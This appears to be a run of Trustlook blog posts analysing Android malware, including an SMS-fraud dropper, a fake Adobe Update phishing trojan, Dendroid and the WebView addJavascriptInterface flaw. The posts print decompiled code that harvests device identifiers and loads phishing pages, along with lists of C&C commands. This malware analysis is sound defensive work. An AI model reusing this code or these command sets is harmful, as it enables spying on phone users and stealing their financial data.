Analysis of com.zqb.skater and Dropper/SMS behaviors


— Trustlook Research Team

Package name: com.zqb.skater

md5: fbf041055829b571816af52761fcf23c

Chinese name: 我的滑板鞋


The app appears to be a normal game after installation. Users can buy virtual products in the game. However in the background, it will collect information like IMEI, device ID and SMS.

Screen Shot 2016-05-24 at 7.10.04 PM

It’s common that apps send premium SMS to a specific company. Users buy virtual products to play game more easily. But this app drops another app to send SMS without user interaction. Then, via aggregator and wireless provider, a message is sent to user to confirm the order. The app can block message and confirm the charge. In this way, user gets charged silently and the malware developer makes money.


  1. The app registers SMS read, receive and send permissions in AndroidManifest.xml.

  Screen Shot 2016-05-24 at 7.11.16 PM

It also registered broadcasting of receiving SMS and other intents with the highest priority.

Screen Shot 2016-05-24 at 7.13.57 PM

E.g, the SSLaunchReceiver below shows that the app has many privileges including receiving SMS.

Screen Shot 2016-05-24 at 7.16.01 PM

  1.   Then the app downloads a new apk which can send SMS and block the broadcast from being propagated. Then the app can receive and intercept the replying SMS.

Screen Shot 2016-05-24 at 7.17.15 PM



The apk will be saved at “/storage/emulated/0/Android/data/”. The name is

The figures below show the logic to send and block SMS.

Send SMS:

Screen Shot 2016-05-24 at 7.18.16 PM

Receive and Block SMS:

Screen Shot 2016-05-24 at 7.19.19 PM

  1. As shown in the last figure, the app will receive a broadcast of “receive_revert_sms_action_internal” and then send a message to the host app.  When this broadcast is received, it handles the SMS which content is stored in a tmp file inside Android.

Screen Shot 2016-05-24 at 7.20.12 PM



Fake Adobe Flash App Evades Most Anti Virus Detection, Manipulates Phone by Command & Control Server in Latvia

— Trustlook Research Team

Smartphones have been permeating into every corner of the world. After years of rapid growth, their popularity and usefulness reaches that of personal computers. Besides calling and texting, it is becoming more popular for people to do daily banking on their smartphone. With the computing capability, some traditional malware are shifting into the world of smartphones. They compromise the smartphone, change the phone behavior, and receive instructions from the remote attacker to steal user’s information.

One of these examples is a newly discovered malicious app named “Adobe Update”, which has the package name “droid.invisible”. It is a phishing Trojan that targets the android platform.

The sample’s MD5 is : D8616CDD54154B06A5E4D9D5B2A605E5
The package icon is::


In virustotal among 57 antivirus vendors, only 3 vendors detected them when initially submitted.


The malware conceals its own developer certificate information behind a reputable enterprise :



Yet the official com.adobe.reader app in Google Play is of this correct developer certificate:


Upon installation, this malware presents the user with a misleading setup dialog box while replacing the default SMS app:


The app displays messages to entice user to grant the device admin to maintain the persistence on the system:


The app cannot be uninstalled by the normal means:


The app communicates with a remote server and sends out critical personal information:

  • Country
  • Device model
  • IMEI
  • Network operator
  • Cell phone number
  • Malware bot ID
  • OS version
  • Device name
  • OS API level


The following code snippets demonstrate the above behaviours:


classimplements Runnable




a.a.a.a.a locala = new a.a.a.a.a();

x localx = new x();

TelephonyManager localTelephonyManager = (TelephonyManager)this.a.getSystemService(“phone”);

localx.a(“id”, localTelephonyManager.getDeviceId());

localx.a(“country”, localTelephonyManager.getNetworkCountryIso());

localx.a(“opname”, localTelephonyManager.getNetworkOperatorName());

localx.a(“osversion”, System.getProperty(“os.version”) + “(” + Build.VERSION.INCREMENTAL + “)”);

localx.a(“osapilevel”, Build.VERSION.RELEASE + “(” + Build.VERSION.SDK_INT + “)”);

localx.a(“device”, Build.DEVICE);

localx.a(“model”, Build.MODEL + ” (” + Build.PRODUCT + “)”);

localx.a(“pnumber”, localTelephonyManager.getLine1Number());

localx.a(“botid”, “777”);

locala.a(“”, localx, new b(this));


Furthermore, the malware receives command instructions from the C&C server to perform various functions:

  • loop  // wait for next command
  • sms  // send sms message
  • readsms  // retrieve sms message and send to the C&C server
  • ion // the function is not implemented, write to log file
  • ioff // same as above
  • recall // call received numbers.
  • fish // show an attacker controlled web page when a specific foreground running app is found.

The following code snippets demonstrate the malware checks for the received parameters and shows a phishing web page:

if (paramArrayOfByte[0].equals(“fish”)) // compare command name



this.b.a.startService(new Intent(this.b.a, InjectionScanner.class).putExtra(“data”, paramArrayOfByte[1]));



public class InjectionScanner extends Service


int a = 0;

String b;

public String a()


return ((ActivityManager.RunningAppProcessInfo)((ActivityManager)getSystemService(“activity”)).getRunningAppProcesses().get(0)).processName; // get foreground running process name


public void a(String paramString)


paramString = new Thread(new g(this, paramString));





public class InjectionScanner extends Service


int a = 0;

String b;

public String a()


return ((ActivityManager.RunningAppProcessInfo)((ActivityManager)getSystemService(“activity”)).getRunningAppProcesses().get(0)).processName;



public int onStartCommand(Intent paramIntent, int paramInt1, int paramInt2)


this.b = paramIntent.getStringExtra(“data”);



return paramInt1;


(this.b.a().equals(localJSONObject.getJSONObject(localJSONObject.names().getString(i)).getJSONArray(“apps”).getString(j))) // compare the foreground running app name with received string


Intent localIntent = new Intent(this.b, InjectionActivity.class);


localIntent.putExtra(“injection”, localJSONObject.names().getString(i));


this.b.a = 1;



protected void onCreate(Bundle paramBundle)




paramBundle = (TelephonyManager)getSystemService(“phone”);

Intent localIntent = getIntent();

WebView localWebView = (WebView)findViewById(2131492971);


localWebView.setWebViewClient(new f(this, null));

localWebView.setWebChromeClient(new e(this, null));

localWebView.loadUrl(“” + localIntent.getStringExtra(“injection”) + “&imei=” + paramBundle.getDeviceId()); // show phishing web page



The malware displays phishing web page when a specific app is found, for example, the banking app. The fraudsters persuade gullible users to enter their financial details and harvest all the information.

The C&C server is located in Latvia:



Analysis of Repackaged Applications from over One Thousand QQDownloaders in Global Android Marketplaces


Authors: Jinjian ZHAI, Yang SONG, Mengmeng LI

100 miles north of San Francisco in the City of Ten Thousands Buddhas, a statue of Mercy Goddess with 1,000 hands has been worshipped since 1974. The 1,000 hands are used to save people separately. However, those hands are rooted from the same body.

A series of repackaged apps can be looked at in the same way as that statue with 1,000 hands. That is, thousands of individual apps with distinctive MD5 hash were indeed similar derivatives, classified by the unique package name with the same or a handful of developing groups.

Research of the individual APK samples can lead to the specific app version and developer information, and in turn reveal the developer’s reputation and network of repackaged apps within the global Android markets.


Fig. 1 The popular QQDownloader app has over 1,600 derived APKs available on the internet.

As shown in Fig.1, we take the APKs which share the same package name “” as research samples in this blog. They are chosen because firstly, the app reflects a variety of APK downloading sources; secondly, the app itself is an Android marketplace, and thus is prone to the attack of hackers as a base app to deliver more  repackaged apps.

The market itself is an Android app, which needs to be downloaded from the internet directly. It recommends apps as well as provides downloading sources upon search / query.  

We have kept monitoring the malicious behaviors of this family, and have collected over 1,605 versions of this family. The 1,605 versions of QQDownloader consists of many authentic apps, as well as a few repackaged apps. Some of the repackaged apps are even malware.

The reason that such a large number of versions exist lies in the fact that firstly QQDownloader is the counterpart of Google Play in China, and has been updated frequently; secondly, QQDownloader is so popular that it has been the target of hackers for possibly monetary gains.

I. The Authentic Apps

The authentic apps of “” are marked with exactly the same developer signature.


Fig. 2 The authentic developer certificate signature of QQDownloader.

As shown in Fig. 2, the authentic QQDownloader  is developed and maintained by the Android QZone Team in Beijing.

This authentic sub-series represents the majority of the 1,605 samples being researched. They consist of 1,583 samples signed by the developer’s certificate signature as shown in Fig. 2.

II. The Repackaged Apps

The remaining 22 apps are repackaged apps. Based on the authentic and repackaged apps’ discrepancy of the main-launcher activity name, which is concurrently registered as “android.intent.action.MAIN” and categorized as “android.intent.category.LAUNCHER” under the same android:name action in the AndroidManifest.xml, we found a few repackaged apps of interest.

We analyzed one APK for its dynamic behaviors, network traffic, and static code logic. The Metadata of the sample being researched is shown in Fig. 3.


Fig. 3 The Metadata of the Illegitimate and Repackaged Sample of the QQDownloader app.


Fig. 4. AndroidManifest.xml of the repackaged QQDownloader app. The main activity from the launcher is

As shown in Fig. 4, the main activity which is linked to the launcher icon in the home page of the phone is, while the main activity of the authentic QQDownloader app  – “com.tencent.assistant.activity.SplashActivity” is bypassed.

The sample passed most AV vendor scannings as benign, with Virustotal score of 1/55 when initially submitted, as shown in Fig. 5:


Fig. 5 VirusTotal scan of the repackaged sample when queried on 11/09/2015.

Yet further investigation of the main activity reveals some suspicious function calls.

Fig. 6. The main activity of the repackaged app redirects the onCreate() function to a stored string in AndroidManifest.xml.

Firstly, a service called YangService is started by the initializer YangInit.getM()  from the initSad() function of Fig. 6.

Secondly, as shown in jumpToOther() function of Fig. 6, a class name is read from the MyUtil.getRac() function, which in turn reads the activity name “com.tencent.assistant.activity.SplashActivity” from AndroidManifest.xml (as shown in Fig. 4)

A question of who and why they insert the extra service into the SplashActivity of the QQDownloader would be proposed naturally against the repackaged app. Bearing such questions, we examed the developer’s certificate signature of the app:

Fig. 7. The developer’s certificate signature of the repackaged app.

As shown in Fig. 7. the Issuer’s Information is too brief to reveal the real developer’s information, which suggests his/her suspicious behavior.

A detailed scrutiny of the YangServer and YangReceiver class reveals that the injected service is used to load class methods dynamically :


Fig. 8. The dynamic class loading source code called by the functions of the injected YangService class.

When monitoring the dynamic behaviors and sniffing the network traffic while the app is running in the Trustlook Mobile Sandbox environment, we found that the app slagged the initial activity of the main QQDownloader layout and covered the phone screen with a large ad window.


Fig. 9 The ad window started by the repackaged QQDownloader app.

When following the network traffic packets, we found that customer’s privacy was collected and sent to the ad server in Aliyun, the public cloud service platform.


Fig. 10. The network packet with customer’s privacy was sent to the ad server based on the Aliyun cloud service platform.


Fig. 11. The ad packet contains URL of APKs and ad pictures. The pictures are rotating and clickable in Fig. 9.

As shown in Fig. 10 and Fig. 11, the ad server collects the following private information and uses it to push ads in the injected ad window:

  1. customer’s gender and age
  2. phone number
  3. IP address
  4. MAC address
  5. location, longitude, and latitude
  6. IMEI and IMSI
  7. OS version
  8. ISP service

We see that the repackaged QQDownloader sample as being dangerous adware. When we continued to research other repackaged QQDownloader samples, we found a list of suspicious developer certificate signatures. As shown in Fig. 12, they either contain little information or purposely alter the initial QZone developing team’s information.


Fig. 12. Some suspicious developer certificate signatures of the repackaged apps of QQDownloader.

In general, the authentic apps are repackaged due to one or more of the following reasons:

  1. The developer would like to change the ad network
  2. The developer would like to inject malicious code
  3. The developer would like to republish the app in an Android market other than the one where the authentic app is published.

If you would like to know the list of malware MD5s or the detailed report, please contact

"Reflections on Trusting Trust" – Some Thoughts on the XcodeGhost Incident


Authors: Tianfang Guo, Jinjian Zhai

(Further reading about the XcodeGhost: the original story and detailed analysis)

Reflections on Trusting Trust

In 1984, Ken Thompson, “Father of Unix”, mentioned in his speech about the first compiler backdoor he once made, which allows him to login with “su” privilege into any Unix systems in the Bell lab in the 1970s. To find this backdoor, his colleges reviewed the source code of Unix and found nothing.  They have never suspected it’s the compiler that planted the backdoor. The author, who wrote Apple’s App Store Infected with XcodeGhost malware in China” believes that Ken is telling us, before searching for security holes, one should first be clear about which party he could and couldn’t trust,  thus Ken named that speech “Reflections on Trusting Trust”.

And 30 years later, we witnessed the consequences of “Trusting UnTrust” – everyone gave enough alertness to the apps, but gave unconditional trust to the compiler which builds apps. As a result, the XCodeGhost infected more than 4000 apps on the iOS App Store, according to FireEye.

The injected malicious code could upload the victim’s privacy to a remote server, it could also pop up message boxes upon server request, which can be potentially used for phishing or attracting users to download more malicious apps. Luckily the last functionality seemed not been used till the C&C server was shutdown. Yet it would have been still possible for an attacker from world-wide-web to hijack the HTTP traffic and reactivate this backdoor.

Screen Shot 2015-09-22 at 7.47.47 PM
Screen Shot 2015-09-22 at 7.48.29 PM

Apple has also reacted to this incidence by pulling off 400+ infected apps:

The XcodeGhost is the first successful example of distributing large number of malwares into the iOS App Store. The impact rose many questions.

Who’s at fault?
Most victims are from China , thus it took days to download the Xcode in China from the official source. Some places were suffering from frequent disconnections (not sure if it was caused by Great Fire Wall), making a complete download the mission impossible. On the other hand the local download links could be easily found in developer communities and were conveniently hosted by Chinese cloud storage vendors such as Baidu. The hacker apparently took advantage of the situation to launch such attack. Like Ken’s story in 1970s, people fully trusted the infected build environment which is distributed via the peer-to-peer downloading channels.

What surprised us is, despite the individual developers, even the largest players in the industry were not survived, e.g. Tencent. The large companies certainly have the condition to download their IDEs from official sites, e.g. using a Virtual Privacy Network. Lazy or ignorance? Apple could also have deployed their CDN servers in China, but they choose to ignore the developers from their 2nd largest market.

Also, repackaging a signed dmg file should not be an easy job on OS X . After 10.7.5, the Gatekeeper mechanism is introduced, which will verify an app’s file digests upon the first launch. In this case, Adding or modifying the files in a dmg will cause verification failure and rejection.

The Gatekeeper is turned on by default. According to our survey, most iOS developers has turned it off, some said it’s for the convenience of adding 3rd party extensions to Xcode.


Is it over?

There are follow-ups about this incident: the Unity framework distributed in China has also been found infected. The samples have the same malicious logic. The only difference is the domain names of the C&C servers.

Technically, the Android IDE is as fragile as Xcode under an attack of compilers. As is shown below, on all the fundamental Java packages are under the /lib folder of the project. It’s entirely possible to inject the malicious code into one of them, and to repackage the installation dmg of Android Studio. As a result all the APKs built by the Studio ( including the IDE ) will be infected.

Trustlook is closely watching the similar attacks on Android. We will update the blog if we found any infected frameworks.

Screen Shot 2015-09-23 at 1.15.46 AM

Simple Malware Made by Freshman, Big Problem for Mobile Security

In the last weekend, the Chinese medias are filled with a news “Super Android Virus In-the-Wild”. The consequence of this worm looks remarkable in the mobile virus history: from Jul 28 to Aug 2, it infected millions. And the writer of this malware, a talented 19-year old freshman, was arrested within 9 hours (because he hardcoded email account inside the app). The intent of making this malware was “showing off” and “spy on girlfriend”.

After we took a close look at this virus, we surprisingly found it a “Hello World” style malware: it contains basic control functionalities such as reading the SMS list (specified on e-shopping notifications). It has a simple but efficient way of spreading: reading the contact, and sending phishing SMS containing the APK download link to all the victim’s contacts, caused an exploding infection number.

There is no destructive functionality in this malware, nor does it generate profit for the writer. The only consequence is bugging your friends and waste some money and data on sending messages. The phishing messages was soon blocked by the Chinese service providers, cut its major spreading channel. Chinese AV vendors all claimed they were “first detected the super Android virus”. And the story came to an end.

Here are some analysis result:

Release an APK, which supports all monitoring functionalities, the main APK only serves infection and spreading.


Screen Shot 2014-08-05 at 12.09.45 PM

Reading SMS:

Screen Shot 2014-08-05 at 5.53.43 PM

Read contacts:

Screen Shot 2014-08-05 at 5.24.42 PM

Scam SMS to all contacts:

Screen Shot 2014-08-05 at 5.55.26 PM

Critical evidence leads to the writer to be arrested:

Screen Shot 2014-08-05 at 5.55.26 PM

Screen Shot 2014-08-05 at 5.54.44 PM

Despite the malware itself, there are two problems exposed:

1. Many users are surprisingly lack of security knowledge: SMS phishing is definitely not a new kind of attack. Also Android will pop up warning when install an APK from Internet. However, so many users still gave it green-light all the way. If this incident happened in US, will the consequence be any better?

2. The reaction of AV vendors was no better than in the PC era. The malware created, spreading and eventually being noticed after the number of victim already exploded. Afterwards the AVs made their “detection tool”, which is still based on signature.

Dendroid: Android Trojan Being Commercialized

Today we talk about Dendroid, an remote access tool (RAT) first discovered by researchers from Symantec. (

Screen Shot 2014-03-20 at 1.10.07 AM

Screen Shot 2014-03-20 at 1.21.05 AM

As an Android trojan, Dendroid raised the bar on malware commercialization: $300 for lifetime update; 7/24 customer support; Bitcoin and Litecoin payment accepted – buyers have no worry on personal identity disclosure; “app-repacking” service supported – you can customize your trojan, bind it on a normal app for disguising. This trojan even sneak past Google’s automatic malware scanner within the Google Play Store, and later been removed by Google.


If you unfortunately downloaded and opened it, your phone would become a part of hacker’s botnet. Dendroid will continuously listening the commands sent from C&C (command and control) server, and execute any command that hacker given. Dendroid supports a large set of commands, includes spying on the camera, recording phone conversations and SMS, or even launching a DDoS attack as part of the bonnet:

  • mediavolumeup
  • mediavolumedown
  • ringervolumeup
  • ringervolumedown
  • screenon
  • recordcalls
  • intercept
  • blocksms
  • recordaudio
  • takevideo
  • takephoto
  • settimeout
  • sendtext
  • sendcontacts
  • callnumber
  • deletecalllognumber
  • openwebpage
  • updateapp
  • promptupdate
  • promptuninstall
  • uploadfiles
  • changedirectory
  • deletefiles
  • getbrowserhistory
  • getbrowserbookmarks
  • getcallhistory
  • getcontacts
  • getinboxsms
  • getsentsms
  • deletesms
  • getuseraccounts
  • getinstalledapps
  • httpflood
  • openapp
  • opendialog
  • uploadpictures
  • setbackupurl
  • transferbot

Dendroid’s poorly written code on receiving commands:
Screen Shot 2014-03-20 at 1.01.14 AM

Camera recording:
Screen Shot 2014-03-20 at 1.01.49 AM

For self protection, Dendroid will loop checking whether its service is alive. Also, it could detect whether it’s in a sand-box (if so, it will self-terminate), to delay the time it being analyzed, making it survive longer on some App market with simple sand-box based detection. And don’t worry, Trustlook don’t use emulator to build sand-box, we use real phones. Trustlook Antivirus can now detect Dendroid perfectly.

Screen Shot 2014-03-20 at 2.03.21 AM

Dendroid might not be the best on remote controlling capability, but it’s so far the most popular and commercialized one, indicating the underground Android malware market is growing. Driven by huge number of potential targets and profit, this kind of malwares will more frequently appear in near future we believe. Trustlook will keep an eye on those new threats, and sharing our latest update with you.


Alert: Android WebView addJavascriptInterface Code execution Vulnerability

 Update: Trustlook has released a solution to detect this vulnerability within 12 hours of this vulnerability is reported. During the long night, we had to patch android system, changing scheduling code, re-fresh ROM system of all production devices and of course had many beers. This is fun.

A Chinese hacker, livers, from has reported a android remote code execution vulnerability for addJavascriptInterface method in WebView control.  In more detail addJavascriptInterface is used for interface between JS code and local Java. If your browser or other applications has implemented code like below, then you might be vulnerable. Hackers can remote run code on your android device. And they can get remote shell or even to install backdoor application on your device.

Screen Shot 2013-09-04 at 8.24.49 PM

According to this report, many android applications are confirmed vulnerable:

– QQ browser HD

Baidu browser

Qvod player


Following is the Javascript code allows hacker to run command on your vulnerable application.


Screen Shot 2013-09-04 at 8.24.39 PM


Here is the real exploit code that allows hacker to remotely control your device. It separates the exploit the APK file into four parts and merge them into one APK file, writing it to the sdcard on target device. Then run adb command to install the backdoor application.


Screen Shot 2013-09-04 at 8.20.29 PM


The following pictures showed you the backdoor application, androrat, has been installed in the vulnerable device.

Screen Shot 2013-09-04 at 8.20.50 PM


Last part is to do remote control the exploited device.


Screen Shot 2013-09-04 at 8.20.59 PM



During the past 12 hours, Trustlook has released a solution to detect this high risk vulnerability. Here is the POC sample try to make a bridge to call Java function from Javascript in a HTML page.

Here is the risk summary alert for application impacted by this vulnerability.

Screen Shot 2013-09-05 at 3.03.30 PM

Here is detail log that the sample try to make a Javascript to Java bridge and load the the HTML file located at android_asset/www/index.html which contains the malicious Javascript.


Screen Shot 2013-09-05 at 3.03.38 PM